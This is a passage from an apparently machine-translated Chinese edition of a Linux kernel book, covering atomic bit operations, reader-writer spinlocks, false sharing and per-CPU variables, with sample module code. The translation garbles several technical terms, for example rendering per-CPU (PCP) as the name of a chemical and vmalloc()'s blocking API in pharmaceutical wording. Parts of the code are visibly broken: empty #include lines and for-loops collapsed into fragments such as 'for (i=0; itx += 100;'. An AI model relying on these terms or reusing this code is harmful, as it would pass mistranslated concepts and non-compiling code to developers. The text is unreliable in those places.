unsigned long *p); -``` - -这自动地——安全地和不可分割地——将`p`的第`nr`位设置为`1`。(实际情况是,设备寄存器(可能还有设备内存)被映射到内核虚拟地址空间,因此看起来像是内存位置一样可见——比如这里的地址`p`。这被称为 MMIO,是驱动程序作者映射和使用设备内存的常用方式。同样,我们在 *Linux 内核编程(第 2 部分)*中介绍了这一点) - -因此,有了 RMW 原子操作符,我们可以用一行代码安全地实现我们之前(错误地)尝试的目标——打开我们(虚构的)设备: - -```sh -set_bit(7, CTRL_REG); -``` - -下表总结了常见的 RMW 逐位原子 API: - -| **RMW 逐位原子 API** | comment | -| `void set_bit(unsigned int nr, volatile unsigned long *p);` | 自动设置(设置为`1`)T2 的第`nr`位。 | -| `void clear_bit(unsigned int nr, volatile unsigned long *p)` | 自动清除(设置为`0`)第`nr`位的`p`。 | -| `void change_bit(unsigned int nr, volatile unsigned long *p)` | 自动切换`p`的第`nr`位。 | -| *以下应用编程接口返回被操作位的前一个值(nr)* | | -| `int test_and_set_bit(unsigned int nr, volatile unsigned long *p)` | 自动设置`p`返回前一个值的第`nr`位(内核 API 文档位于[https://www . kernel . org/doc/html docs/kernel-API/API-测试和设置位. html](https://www.kernel.org/doc/htmldocs/kernel-api/API-test-and-set-bit.html) )。 | -| `int test_and_clear_bit(unsigned int nr, volatile unsigned long *p)` | 自动清除`p`的第`nr`位,返回前一个值。 | -| `int test_and_change_bit(unsigned int nr, volatile unsigned long *p)` | 自动切换`p`的第`nr`位,返回前一个值。 | - -Table 17.3 – Common RMW bitwise atomic APIs Careful: these atomic APIs are not just atomic with respect to the CPU core they're running upon, but now with respect to all/other cores. In practice, this implies that if you're performing atomic operations in parallel on multiple CPUs, that is, if they (can) race, then it's a critical section and you must protect it with a lock (typically a spinlock)! - -尝试一些 RMW 原子 API 将有助于建立你使用它们的信心;我们将在接下来的章节中介绍。 - -### 使用按位原子运算符–示例 - -让我们来看看一个快速内核模块,它演示了 Linux 内核的 RMW 原子位操作符(`ch13/1_rmw_atomic_bitops`)的用法。你应该意识到这些操作员可以在*任何内存*上工作,无论是(中央处理器或设备)寄存器还是内存;在这里,我们对示例 LKM 中的一个简单的静态全局变量(名为`mem`)进行操作。很简单;让我们来看看: - -```sh -// ch13/1_rmw_atomic_bitops/rmw_atomic_bitops.c -[ ... ] -#include -#include -#include -#include "../../convenient.h" -[ ... ] -static unsigned long mem; -static u64 t1, t2; -static int MSB = BITS_PER_BYTE - 1; -DEFINE_SPINLOCK(slock); -``` - -我们包括所需的头,并声明和初始化一些全局变量(注意我们的`MSB`变量如何使用`BIT_PER_BYTE`)。我们使用一个简单的宏`SHOW()`,用 printk 显示格式化的输出。`init`代码路径是实际工作完成的地方: - -```sh -[ ... ] -#define SHOW(n, p, msg) do { \ - pr_info("%2d:%27s: mem : %3ld = 0x%02lx\n", n, msg, p, p); \ -} while (0) -[ ... ] -static int __init atomic_rmw_bitops_init(void) -{ - int i = 1, ret; - - pr_info("%s: inserted\n", OURMODNAME); - SHOW(i++, mem, "at init"); - - setmsb_optimal(i++); - setmsb_suboptimal(i++); - - clear_bit(MSB, &mem); - SHOW(i++, mem, "clear_bit(7,&mem)"); - - change_bit(MSB, &mem); - SHOW(i++, mem, "change_bit(7,&mem)"); - - ret = test_and_set_bit(0, &mem); - SHOW(i++, mem, "test_and_set_bit(0,&mem)"); - pr_info(" ret = %d\n", ret); - - ret = test_and_clear_bit(0, &mem); - SHOW(i++, mem, "test_and_clear_bit(0,&mem)"); - pr_info(" ret (prev value of bit 0) = %d\n", ret); - - ret = test_and_change_bit(1, &mem); - SHOW(i++, mem, "test_and_change_bit(1,&mem)"); - pr_info(" ret (prev value of bit 1) = %d\n", ret); - - pr_info("%2d: test_bit(%d-0,&mem):\n", i, MSB); - for (i = MSB; i >= 0; i--) - pr_info(" bit %d (0x%02lx) : %s\n", i, BIT(i), test_bit(i, &mem)?"set":"cleared"); - - return 0; /* success */ -} -``` - -我们在这里使用的 RMW 原子操作符以粗体突出显示。这个演示的一个关键部分是展示使用 RMW 逐位原子操作符不仅比使用传统方法容易得多,而且也快得多,在传统方法中,我们在自旋锁的范围内手动执行 RMW 操作。以下是这两种方法的两个功能: - -```sh -/* Set the MSB; optimally, with the set_bit() RMW atomic API */ -static inline void setmsb_optimal(int i) -{ - t1 = ktime_get_real_ns(); - set_bit(MSB, &mem); - t2 = ktime_get_real_ns(); - SHOW(i, mem, "set_bit(7,&mem)"); - SHOW_DELTA(t2, t1); -} -/* Set the MSB; the traditional way, using a spinlock to protect the RMW - * critical section */ -static inline void setmsb_suboptimal(int i) -{ - u8 tmp; - - t1 = ktime_get_real_ns(); - spin_lock(&slock); - /* critical section: RMW : read, modify, write */ - tmp = mem; - tmp |= 0x80; // 0x80 = 1000 0000 binary - mem = tmp; - spin_unlock(&slock); - t2 = ktime_get_real_ns(); - - SHOW(i, mem, "set msb suboptimal: 7,&mem"); - SHOW_DELTA(t2, t1); -} -``` - -我们在`init`方法中很早就调用了这些函数;请注意,我们(通过`ktime_get_real_ns()`例程)获取时间戳,并通过我们的`SHOW_DELTA()`宏(在我们的`convenient.h`标题中定义)显示时间。好的,这是输出: - -![](img/af572931-5544-42ea-ad28-4e9eac7d5937.png) - -Figure 13.3 – Screenshot of output from our ch13/1_rmw_atomic_bitops LKM, showing off some of the atomic RMW operators at work - -(我在 x86_64 Ubuntu 20.04 来宾虚拟机上运行了这个演示 LKM。)现代方法——通过`set_bit()` RMW 原子逐位 API——在这个示例运行中,执行时间仅为 415 纳秒;传统方法要慢 265 倍!代码(通过`set_bit()`)也简单多了... - -关于原子按位运算符的一点相关说明,下面的部分非常简要地介绍了内核中用于搜索位掩码的高效 APIs 事实证明,这是内核中相当常见的操作。 - -## 高效搜索位掩码 - -有几种算法依赖于对位掩码进行真正快速的搜索;您在[第 10 章](10.html)、*CPU 调度器–第 1 部分*、[第 11 章](11.html)、*CPU 调度器–第 2 部分*中了解到的几种调度算法(如`SCHED_FIFO`和`SCHED_RR`经常在内部需要这样做。高效地实现这一点变得很重要(尤其是对于操作系统级的性能敏感代码路径)。因此,内核提供了一些 API 来扫描给定的位掩码(这些原型可以在`include/asm-generic/bitops/find.h`找到): - -* `unsigned long find_first_bit(const unsigned long *addr, unsigned long size)`:查找存储区域中的第一个设置位;返回第一个设置位的位数,否则(没有设置位)返回`@size`。 -* `unsigned long find_first_zero_bit(const unsigned long *addr, unsigned long size)`:查找存储区域中第一个被清除的位;返回第一个清除位的位数,否则(没有位被清除)返回`@size`。 -* 其他套路包括`find_next_bit()`、`find_next_and_bit()`、`find_last_bit()`。 - -浏览``标题还会发现其他非常有趣的宏,比如`for_each_{clear,set}_bit{_from}()`。 - -# 使用读取器-写入器自旋锁 - -可视化一段内核(或驱动程序)代码,其中正在搜索一个大的、全局的、双向链接的循环列表(有几千个节点)。现在,由于数据结构是全局的(共享的和可写的),访问它构成了需要保护的关键部分。 - -假设搜索列表是一个非阻塞操作,您通常会使用自旋锁来保护关键部分。一个天真的方法可能会建议根本不使用锁,因为我们只是读取列表中的数据,而不是更新它。但是,当然(如您所知),即使是对共享可写数据的读取也必须受到保护,以防止无意中同时发生的写入,从而导致脏读或破读。 - -因此,我们得出结论,我们需要自旋锁;我们想象伪代码可能是这样的: - -```sh -spin_lock(mylist_lock); -for (p = &listhead; (p = next_node(p)) != &listhead; ) { - << ... search for something ... - found? break out ... >> -} -spin_unlock(mylist_lock); -``` - -那么,有什么问题吗?当然是表演!想象一下,多核系统上的几个线程或多或少地同时出现在这个代码片段上;每个线程都将尝试获取 spinlock,但只有一个 winner 线程会获得它,遍历整个列表,然后执行解锁,允许下一个线程继续。换句话说,不出所料,执行现在*连载*,大大减缓了事情的发展。但是没办法;或者可以? - -进入**读写器自旋锁**。使用这种锁定结构,要求所有对受保护数据执行读取的线程都需要一个**读锁**,而任何需要对列表进行写访问的线程都需要一个**独占写锁**。只要当前没有写锁在运行,任何发出请求的线程都会立即被授予读锁。实际上,这种构造*允许所有读者同时访问数据,这意味着实际上根本没有真正的锁定*。这个没问题,只要有读者就行。当一个写线程出现时,它会请求写锁。现在,正常的锁定语义适用:编写器**将不得不等待**所有读者解锁。一旦发生这种情况,写入程序将获得独占写锁并继续。所以现在,如果任何读者或作者试图访问,他们将被迫等待作家的解锁。 - -Thus, for those situations where the access pattern to data is such that reads are performed very often and writes are rare, and the critical section is a fairly long one, the reader-writer spinlock is a performance-enhancing one. - -## 读写器自旋锁接口 - -使用了自旋锁之后,使用读取器-写入器变体就变得简单了;锁数据类型抽象为`rwlock_t`结构(代替`spinlock_t`),在 API 名称方面,简单替换`read`或`write`代替`spin`: - -```sh -#include -rwlock_t mylist_lock; -``` - -读写器自旋锁最基本的 API 如下: - -```sh -void read_lock(rwlock_t *lock); -void write_lock(rwlock_t *lock); -``` - -举个例子,内核的`tty`层有代码来处理一个**安全注意键**(**SAK**);SAK 是一项安全功能,通过杀死与 TTY 设备相关的所有进程来防止特洛伊木马类型的凭据黑客攻击。这将在用户按下 SAK([https://www.kernel.org/doc/html/latest/security/sak.html](https://www.kernel.org/doc/html/latest/security/sak.html))时发生。当这种情况实际发生时(也就是说,当用户按下 SAK 时,默认映射到`Alt-SysRq-k`序列),在其代码路径内,它必须迭代所有任务,杀死整个会话和所有打开 TTY 设备的线程。要做到这一点,在阅读模式下,必须有一个叫做`tasklist_lock`的读者-作家自旋锁。(截断的)相关代码如下,突出显示`tasklist_lock`上的`read_[un]lock()`: - -```sh -// drivers/tty/tty_io.c -void __do_SAK(struct tty_struct *tty) -{ - [...] - read_lock(&tasklist_lock); - /* Kill the entire session */ - do_each_pid_task(session, PIDTYPE_SID, p) { - tty_notice(tty, "SAK: killed process %d (%s): by session\n", task_pid_nr(p), p->comm); - group_send_sig_info(SIGKILL, SEND_SIG_PRIV, p, PIDTYPE_SID); - } while_each_pid_task(session, PIDTYPE_SID, p); - [...] - /* Now kill any processes that happen to have the tty open */ - do_each_thread(g, p) { - [...] - } while_each_thread(g, p); - read_unlock(&tasklist_lock); -``` - -顺便说一下,你可能还记得,在[第 6 章](06.html)、*内核内部要素–进程和线程*的*迭代任务列表*部分,我们做了一些类似的事情:我们编写了一个内核模块(`ch6/foreach/thrd_show_all`),它迭代任务列表中的所有线程,并给出了每个线程的一些细节。那么,既然我们已经理解了关于并发性的交易,难道我们不应该使用这个锁–`tasklist_lock`–保护任务列表的读写器自旋锁吗?是的,但是没有成功(`insmod(8)`失败,并显示消息`thrd_showall: Unknown symbol tasklist_lock (err -2)`)。原因当然是这个`tasklist_lock`变量是*而不是*导出的,因此对我们的内核模块不可用。 - -作为内核代码库中读写自旋锁的另一个例子,`ext4`文件系统在处理其范围状态树时使用了一个。我们不打算在这里深究细节;我们将简单地提到这样一个事实,读-写自旋锁(在索引节点结构中,`inode->i_es_lock`)在这里被大量使用,以保护扩展区状态树免受数据竞争的影响(`fs/ext4/extents_status.c`)。 - -内核源代码树中有很多这样的例子;网络堆栈中的许多地方包括 ping 代码(`net/ipv4/ping.c`)使用`rwlock_t`、路由表查找、邻居、PPP 代码、文件系统等等。 - -就像普通的自旋锁一样,我们有读写自旋锁 API 的典型变体:`{read,write}_lock_irq{save}()`与相应的`{read,write}_unlock_irq{restore}()`以及`{read,write}_{un}lock_bh()`接口配对。请注意,即使读取 IRQ 锁也会禁用内核抢占。 - -## 一句警告 - -读取器-写入器自旋锁确实存在问题。一个典型的问题是,不幸的是,**作者在封锁几个读者时会饿死**。想想看:假设目前有三个读者线程拥有读者-作者锁。现在,一个作家想要锁。它必须等到所有三个读取器执行解锁。但如果在此期间,有更多的读者出现(这是完全可能的)呢?这对作家来说是一场灾难,他现在不得不等待更长的时间——实际上是挨饿。(仔细检测或分析所涉及的代码路径可能是必要的,以弄清楚是否确实如此。) - -不仅如此,*缓存效应*——被称为缓存乒乓——在不同 CPU 内核上的多个读取器线程并行读取相同的共享状态时(同时持有读取器-写入器锁)可以而且确实经常发生;我们实际上在*缓存效果和虚假共享*部分讨论了这一点。关于自旋锁的内核文档(T4)说的也差不多。这里直接引用一下:“*注意!读写锁比简单的自旋锁需要更多的原子内存操作。除非读者批评部分很长,否则你最好用自旋锁关闭事实上,内核社区正在努力尽可能地移除读写自旋锁,将它们转移到更高级的无锁技术上(例如 **RCU -读取拷贝更新**,一种高级的无锁技术)。因此,无端使用读者-作者自旋锁是不明智的。* - -The neat and simple kernel documentation on the usage of spinlocks (written by Linus Torvalds himself), which is well worth reading, is available here: [https://www.kernel.org/doc/Documentation/locking/spinlocks.txt](https://www.kernel.org/doc/Documentation/locking/spinlocks.txt). - -## 读写器信号量 - -我们前面提到了信号量对象([第 12 章](12.html)、*内核同步–第 1 部分*,在*信号量和互斥量*部分),将其与互斥量进行了对比。在这里,您明白了简单地使用互斥体更好。在这里,我们指出,在内核中,正如存在读-写自旋锁一样,也存在*读-写信号量*。用例和语义类似于读写器 spinlock。相关宏/API 为(在`` ) `{down,up}_{read,write}_{trylock,killable}()`内。`struct mm_struct`结构中的一个常见例子(它本身也在任务结构中)是其中一个成员是读写器信号量:`struct rw_semaphore mmap_sem;`。 - -结束这个讨论,我们将只提到内核中的其他一些相关的同步机制。用户空间应用开发中大量使用的同步机制(我们特别想到了 Linux 用户空间中的 Pthreads 框架)是**条件变量** ( **CV** )。简而言之,它为两个或多个线程提供了基于数据项的值或某些特定状态相互同步的能力。它在 Linux 内核中的等价物叫做*完成机制*。请在[https://www . kernel . org/doc/html/latest/scheduler/completion . html # completes-等待完成-barrier-API](https://www.kernel.org/doc/html/latest/scheduler/completion.html#completions-wait-for-completion-barrier-apis)的内核文档中找到其用法的详细信息。 - -*序列锁*用于大部分写入情况(与读写自旋锁/信号量锁相反,后者适用于大部分读取情况),其中写入远远超过受保护变量的读取。可以想象,这并不是一件很常见的事情;使用序列锁的一个很好的例子是`jiffies_64`全局的更新。 - -For the curious, the `jiffies_64` global's update code begins here: `kernel/time/tick-sched.c:tick_do_update_jiffies64()`. This function figures out whether an update to jiffies is required, and if so, calls `do_timer(++ticks);` to actually update it. All the while, the `write_seq[un]lock(&jiffies_lock);` APIs provide protection over the mostly write-critical section. - -# 缓存效应和虚假共享 - -现代处理器利用其内部的多级并行高速缓冲存储器,以便在处理内存时提供非常显著的加速(我们在[第 8 章](08.html)、*模块作者的内核内存分配–第 1 部分*、在*分配平板内存*一节中简要讨论了这一点)。我们意识到现代的 CPU 做*不是*真正的直接读写 RAM 不,当软件指示从某个地址开始读取一个字节的内存时,中央处理器实际上读取了几个字节——从起始地址到所有中央处理器缓存(比如,L1、L2 和 L3:1、2 和 3 级)的整个**缓存行**字节(通常为 64 字节)。这样,访问顺序内存的接下来几个元素会导致巨大的加速,因为它首先在缓存中被检查(首先在 L1,然后是 L2,然后是 L3,缓存命中变得可能)。它(快得多)的原因很简单:访问 CPU 缓存通常需要一到几(个位数)纳秒,而访问 RAM 可能需要 50 到 100 纳秒(当然,这取决于所讨论的硬件系统和您愿意支付的金额!). - -软件开发人员通过做以下事情来利用这种现象: - -* 将数据结构的重要成员放在一起(希望在单个缓存行内)并放在结构的顶部 -* 填充一个结构成员,这样我们就不会从缓存线上掉下来(同样,这些点已经在[第 8 章](08.html)、*模块作者的内核内存分配–第 1 部分*、在*数据结构–一些设计技巧*部分中介绍过) - -然而,风险是存在的,事情确实会出错。例如,考虑两个这样声明的变量:`u16 ax = 1, bx = 2;` ( `u16`表示无符号的 16 位整数值)。 - -现在,由于它们已经被声明为彼此相邻,它们很可能会在运行时占用相同的 CPU 缓存行。为了了解问题所在,让我们举个例子:考虑一个具有两个 CPU 内核的多核系统,每个内核都有两个 CPU 缓存,L1 和 L2,以及一个通用或统一的 L3 缓存。现在,一个线程 *T1* 正在处理变量`ax`,另一个线程 *T2* 同时(在另一个中央处理器内核上)处理变量`bx`。所以,想想看:当运行在 CPU `0`上的线程 *T1* 从主内存(RAM)访问`ax`时,它的 CPU 缓存将被填充为`ax`和`bx`的当前值(因为它们属于同一个缓存行!).类似地,当运行在例如中央处理器`1`上的线程 *T2* 从内存访问`bx`时,其中央处理器缓存也将填充两个变量的当前值。*图 13.4* 概念性地描绘了这种情况: - -![](img/1dbd84fe-e978-4ed8-af86-58850a27f848.png) - -Figure 13.4 – Conceptual depiction of the CPU cache memory when threads T1 and T2 work in parallel on two adjacent variables, each on a distinct one - -目前还好;但是如果 *T1* 执行一个操作,比如说`ax ++`,同时 *T2* 执行`bx ++`呢?那又怎样?(顺便说一句,你可能会想:他们为什么不用锁?有趣的是,这与讨论完全无关;没有数据竞争,因为每个线程都在访问不同的变量。问题是它们在同一个中央处理器缓存行中。) - -问题是:**缓存一致性**。处理器和/或操作系统以及处理器(这都是非常依赖内存的东西)必须保持缓存和内存彼此同步或一致。因此,在 *T1* 修改`ax`的时刻,CPU `0`的特定高速缓存线将不得不被无效,也就是说,CPU 高速缓存线的 CPU `0`高速缓存到 RAM 刷新将发生,以将 RAM 更新到新值,然后立即,RAM 到 CPU `1`高速缓存更新也必须发生,以保持一切一致! - -但是缓存线也包含`bx`,并且,正如我们所说的,`bx`也被 *T2 在中央处理器`1`上修改了。*因此,大约在同一时间,中央处理器`1`高速缓存线将被刷新到具有新值`bx`的随机存取存储器,并随后被更新到中央处理器`0`的高速缓存(同时,统一的 L3 高速缓存也将被读取/更新)。可以想象,对这些变量的任何更新都会导致缓存和内存上的大量流量;它们会反弹。其实这就是常说的**缓存乒乓**!这种影响非常有害,会显著降低处理速度。这种现象被称为**虚假分享**。 - -识别虚假分享是最难的部分;我们必须寻找存在于共享缓存线上的变量,这些变量由不同的上下文(线程或其他任何东西)同时更新。 - -Interestingly, an earlier implementation of a key data structure in the memory management layer, `include/linux/mmzone.h:struct zone`, suffered from this very same false sharing issue: two spinlocks that were declared adjacent to each other! This has long been fixed (we briefly discussed *memory zones* in [Chapter 7](07.html), *Memory Management Internals – Essentials*, in the *Physical RAM organization/zones* section). - -如何修复这种虚假分享?简单:只需确保变量之间的间隔足够远,以保证它们*不共享同一个缓存行*(为此,通常在变量之间插入虚拟填充字节)。请务必参考*进一步阅读*部分中对虚假分享的引用。 - -# 每 CPU 变量的无锁编程 - -如您所知,当对共享的可写数据进行操作时,必须以某种方式保护关键部分。锁定可能是实现这种保护最常用的技术。不过,这并不全是乐观的,因为业绩可能会受到影响。想知道为什么,考虑几个类似于锁的东西:一个是漏斗,漏斗的主干足够宽,一次只能让一根线穿过,不能再多了。另一种是繁忙高速公路上的单一收费站或繁忙十字路口的红绿灯。这些类比有助于我们可视化和理解为什么锁定会导致瓶颈,在某些极端情况下会降低性能。更糟糕的是,这些不利影响在拥有几百个内核的高端多核系统上可能会成倍增加;实际上,锁定不能很好地扩展。 - -另一个问题是*锁争用*;获取特定锁的频率是多少?增加系统中锁的数量有利于降低两个或多个进程(或线程)之间对特定锁的争用。这叫**锁定熟练度**。然而,同样,这在很大程度上是不可扩展的:过了一段时间,在一个系统上拥有数千个锁(实际上是 Linux 内核的情况)并不是一个好消息——出现微妙死锁情况的机会会大大增加。 - -因此,存在许多挑战——性能问题、死锁、优先级反转风险、卷积(由于锁排序,快速代码路径可能需要等待第一个较慢的路径,该路径获得了较快路径也需要的锁)等等。以可扩展的方式发展内核,一个完整的层次进一步要求使用*无锁算法*及其在内核中的实现。这些导致了几种创新技术,其中包括每 CPU(五氯苯酚)数据、无锁数据结构(根据设计)和 RCU。 - -然而,在这本书里,我们选择只详细介绍每 CPU 作为一种无锁编程技术。关于 RCU 的细节(及其相关的无锁数据结构)超出了本书的范围。请参考本章的*进一步阅读*部分,了解关于 RCU 的一些有用的资源,它的含义,以及它在 Linux 内核中的用法。 - -## 每 CPU 变量 - -顾名思义,**每 CPU 变量**的工作原理是保存*变量的副本*,即分配给系统上每个(活动的)CPU 的有问题的数据项。实际上,我们通过避免线程之间的数据共享,摆脱了并发的问题区域,即关键部分。使用每 CPU 数据技术,由于每个 CPU 都引用自己的数据副本,因此在该处理器上运行的线程可以操作它,而不用担心争用。(这大致类似于局部变量;由于局部变量位于每个线程的私有堆栈上,它们不会在线程之间共享,因此没有关键部分,也不需要锁定。)在这里,也消除了对锁定的需求——使其成为*无锁定*技术! - -所以,想想看:如果你运行在一个有四个活动的中央处理器内核的系统上,那么该系统上的每个中央处理器变量本质上是一个由四个元素组成的数组:元素`0`代表第一个中央处理器内核上的数据值,元素`1`代表第二个中央处理器内核上的数据值,依此类推。了解了这一点,您会意识到每 CPU 变量也大致类似于用户空间 Pthreads **线程本地存储** ( **TLS** )实现,其中每个线程自动获得一个标有`__thread`关键字的(TLS)变量的副本。在这里,对于每个 CPU 的变量,应该很明显:只对小数据项使用每个 CPU 的变量。这是因为每个中央处理器内核用一个实例来再现(复制)数据项(在具有几百个内核的高端系统上,开销确实会攀升)。我们在内核代码库中提到了一些每 CPU 使用的例子(在内核中的*每 CPU 使用部分)。* - -现在,当使用每 CPU 变量时,您必须使用内核提供的助手方法(宏和 API),并且不要试图直接访问它们(很像我们在 refcount 和 atomic 操作符中看到的)。 - -### 使用每个中央处理器 - -让我们通过将讨论分成两部分来接近每 CPU 数据的助手 API 和宏(方法)。首先,您将学习如何分配、初始化以及随后释放每个 CPU 的数据项。然后,你将学习如何使用它(读/写)。 - -#### 分配、初始化和释放每 CPU 变量 - -每个 CPU 的变量大致有两种类型:静态分配的和动态分配的。静态分配的每 CPU 变量是在编译时分配的,通常是通过以下宏之一:`DEFINE_PER_CPU`或`DECLARE_PER_CPU`。使用`DEFINE`可以分配和初始化变量。下面是一个分配单个整数作为每个 CPU 变量的例子: - -```sh -#include -DEFINE_PER_CPU(int, pcpa); // signature: DEFINE_PER_CPU(type, name) -``` - -现在,在一个有四个 CPU 内核的系统上,它在初始化时在概念上是这样的: - -![](img/ec7bc078-2818-40f9-a6e2-2c575e89fd6c.png) - -Figure 13.5 – Conceptual representation of a per-CPU data item on a system with four live CPUs - -(实际实现当然比这个复杂不少;有关内部实现的更多信息,请参考本章*进一步阅读*部分。) - -简而言之,在对时间敏感的代码路径上使用每 CPU 变量有利于性能增强,原因如下: - -* 我们避免使用昂贵的、破坏性能的锁。 -* 每 CPU 变量的访问和操作保证保留在一个特定的 CPU 内核上;这消除了昂贵的缓存效果,如缓存乒乓和错误共享(在*缓存效果和错误共享*部分中介绍)。 - -通过`alloc_percpu()`或`alloc_percpu_gfp()`包装宏可以实现动态分配每个 CPU 的数据,只需将对象的数据类型作为每个 CPU 进行分配,对于后者,还可以传递`gfp`分配标志: - -```sh -alloc_percpu[_gfp](type [,gfp]); -``` - -底层的`__alloc_per_cpu[_gfp]()`例程通过`EXPORT_SYMBOL_GPL()`导出(因此只有当 LKM 在兼容 GPL 的许可下发布时才能使用)。 - -As you've learned, the resource-managed `devm_*()` API variants allow you (typically when writing drivers) to conveniently use these routines to allocate memory; the kernel will take care of freeing it, helping prevent leakage scenarios. The `devm_alloc_percpu(dev, type)` macro allows you to use this as a resource-managed version of `__alloc_percpu()`. - -通过前面的例程分配的内存必须随后使用`void free_percpu(void __percpu *__pdata)`应用编程接口释放。 - -#### 对每 CPU 变量执行输入/输出(读和写) - -当然,一个关键的问题是,如何才能访问(读取)和更新(写入)每个 CPU 的变量?内核为此提供了几个助手例程;让我们举一个简单的例子来理解。我们为每个 CPU 定义一个整数变量,在稍后的时间点,我们希望访问并打印它的当前值。您应该意识到,在每个 CPU 上,检索到的值将根据代码当前在上运行的 CPU 内核自动计算*;换句话说,如果下面的代码在内核`1`上运行,那么实际上`pcpa[1]`值被获取(它不是这样做的;这只是概念上的):* - -```sh -DEFINE_PER_CPU(int, pcpa); -int val; -[ ... ] -val = get_cpu_var(pcpa); -pr_info("cpu0: pcpa = %+d\n", val); -put_cpu_var(pcpa); -``` - -这对`{get,put}_cpu_var()`宏允许我们安全地检索或修改给定的每 CPU 变量(其参数)的每 CPU 值。重要的是要理解`get_cpu_var()`和`put_cpu_var()`之间的代码(或等效代码)实际上是一个关键部分—一个原子上下文—*,其中内核抢占被禁用,任何类型的阻塞(或休眠)都不被允许*。如果你在这里做任何以任何方式阻塞(休眠)的事情,那就是一个内核错误。例如,看看如果您试图通过`get_cpu_var()` / `put_cpu_var()`宏对中的`vmalloc()`分配内存会发生什么: - -```sh -void *p; -val = get_cpu_var(pcpa); -p = vmalloc(20000); -pr_info("cpu1: pcpa = %+d\n", val); -put_cpu_var(pcpa); -vfree(p); -[ ... ] - -$ sudo insmod .ko -$ dmesg -[ ... ] -BUG: sleeping function called from invalid context at mm/slab.h:421 -[67641.443225] in_atomic(): 1, irqs_disabled(): 0, pid: 12085, name: -thrd_1/1 -[ ... ] -$ -``` - -(顺便说一下,像我们在临界区中做的那样调用`printk()`(或`pr_()`)包装器是可以的,因为它们是非阻塞的。)这里的问题是`vmalloc()`原料药可能是阻断药;它可能会休眠(我们在[第 9 章](09.html)、*模块作者的内核内存分配–第 2 部分*、在*理解和使用内核 vmalloc() API* 一节中详细讨论过),并且`get_cpu_var()` / `put_cpu_var()`对之间的代码必须是原子的和非阻塞的。 - -在内部,`get_cpu_var()`宏调用`preempt_disable()`,禁用内核抢占,`put_cpu_var()`通过调用`preempt_enable()`撤销这一操作。如前所述(在 *CPU 调度*章节中),这可以嵌套,内核维护一个`preempt_count`变量来计算内核抢占实际上是被启用还是被禁用。 - -这一切的结果就是,你在使用`{get,put}_cpu_var()`宏的时候一定要仔细匹配(比如我们调用`get`宏两次,也一定要调用对应的`put`宏两次)。 - -`get_cpu_var()`是*左值*,因此可以操作;例如,要增加每 CPU `pcpa`变量,只需执行以下操作: - -```sh -get_cpu_var(pcpa) ++; -put_cpu_var(pcpa); -``` - -您还可以(安全地)通过宏检索当前的每 CPU 值: - -```sh -per_cpu(var, cpu); -``` - -因此,要检索系统上每个 CPU 核心的每 CPU `pcpa`变量,请使用以下命令: - -```sh -for_each_online_cpu(i) { - val = per_cpu(pcpa, i); - pr_info(" cpu %2d: pcpa = %+d\n", i, val); -} -``` - -FYI, you can always use the `smp_processor_id()` macro to figure out which CPU core you're currently running upon; in fact, this is precisely how our `convenient.h:PRINT_CTX()` macro does it. - -以类似的方式,内核提供例程来处理指向需要每个 CPU 的变量的指针,`{get,put}_cpu_ptr()`和`per_cpu_ptr()`宏。这些宏在处理每 CPU 数据结构时被大量使用(与简单的整数相反);我们安全地检索指向我们当前运行的 CPU 结构的指针,并使用它(`per_cpu_ptr()`)。 - -### 每个中央处理器——一个示例内核模块 - -使用我们的每 CPU 示例演示内核模块的实践会话肯定会有助于使用这个强大的功能(这里的代码:`ch13/2_percpu`)。这里,我们定义并使用两个每 CPU 变量: - -* 每 CPU 静态分配和初始化的整数 -* 动态分配的每 CPU 数据结构 - -作为帮助演示每 CPU 变量的一种有趣的方式,让我们这样做:我们将安排我们的演示内核模块产生几个内核线程。我们称之为`thrd_0`和`thrd_1`。此外,一旦创建,我们将使用 CPU 掩码(和 API)来仿射 CPU `0`上的`thrd_0`内核线程和 CPU `1`上的`thrd_1`内核线程(因此,它们将被调度为仅在这些内核上运行;当然,我们必须在至少有两个 CPU 内核的 VM 上测试这段代码)。 - -下面的代码片段说明了我们如何定义和使用每 CPU 变量(我们省略了创建内核线程并设置其 CPU 相似性掩码的代码,因为它们与本章的内容无关;尽管如此,浏览完整的代码并尝试它还是很关键的!): - -```sh -// ch13/2_percpu/percpu_var.c -[ ... ] -/*--- The per-cpu variables, an integer 'pcpa' and a data structure --- */ -/* This per-cpu integer 'pcpa' is statically allocated and initialized to 0 */ -DEFINE_PER_CPU(int, pcpa); - -/* This per-cpu structure will be dynamically allocated via alloc_percpu() */ -static struct drv_ctx { - int tx, rx; /* here, as a demo, we just use these two members, - ignoring the rest */ - [ ... ] -} *pcp_ctx; -[ ... ] - -static int __init init_percpu_var(void) -{ - [ ... ] - /* Dynamically allocate the per-cpu structures */ - ret = -ENOMEM; - pcp_ctx = (struct drv_ctx __percpu *) alloc_percpu(struct drv_ctx); - if (!pcp_ctx) { - [ ... ] -} -``` - -为什么不用资源管理的`devm_alloc_percpu()`代替呢?是的,你应该在适当的时候;然而,在这里,由于我们没有编写一个合适的驱动程序,我们手边没有一个`struct device *dev`指针,这是`devm_alloc_percpu()`必需的第一个参数。 - -By the way, I faced an issue when coding this kernel module; to set the CPU mask (to change the CPU affinity for each of our kernel threads), the kernel API is the `sched_setaffinity()` function, which, unfortunately for us, is *not exported*, thus preventing us from using it. So, we perform what is definitely considered a hack: obtain the address of the uncooperative function via `kallsyms_lookup_name()` (which works when `CONFIG_KALLSYMS` is defined) and then invoke it as a function pointer. It works, but is most certainly not the right way to code. - -我们的设计思想是创建两个内核线程,并让每个线程以不同的方式操作每个 CPU 的数据变量。如果这些是普通的全局变量,这肯定会构成一个关键部分,我们当然需要一个锁;但是在这里,正是因为它们是每 CPU*,并且因为我们保证我们的线程在不同的内核上运行,我们可以用不同的数据同时更新它们!我们的内核线程工作程序如下;它的参数是线程号(`0`或`1`)。我们相应地分支并处理每个 CPU 的数据(我们的第一个内核线程将整数增加三倍,而我们的第二个内核线程将其减少三倍):* - -```sh -/* Our kernel thread worker routine */ -static int thrd_work(void *arg) -{ - int i, val; - long thrd = (long)arg; - struct drv_ctx *ctx; - [ ... ] - - /* Set CPU affinity mask to 'thrd', which is either 0 or 1 */ - if (set_cpuaffinity(thrd) < 0) { - [ ... ] - SHOW_CPU_CTX(); - - if (thrd == 0) { /* our kthread #0 runs on CPU 0 */ - for (i=0; itx += 100; - pr_info(" thrd_0/cpu0: pcp ctx: tx = %5d, rx = %5d\n", - ctx->tx, ctx->rx); - put_cpu_ptr(pcp_ctx); - } - } else if (thrd == 1) { /* our kthread #1 runs on CPU 1 */ - for (i=0; irx += 200; - pr_info(" thrd_1/cpu1: pcp ctx: tx = %5d, rx = 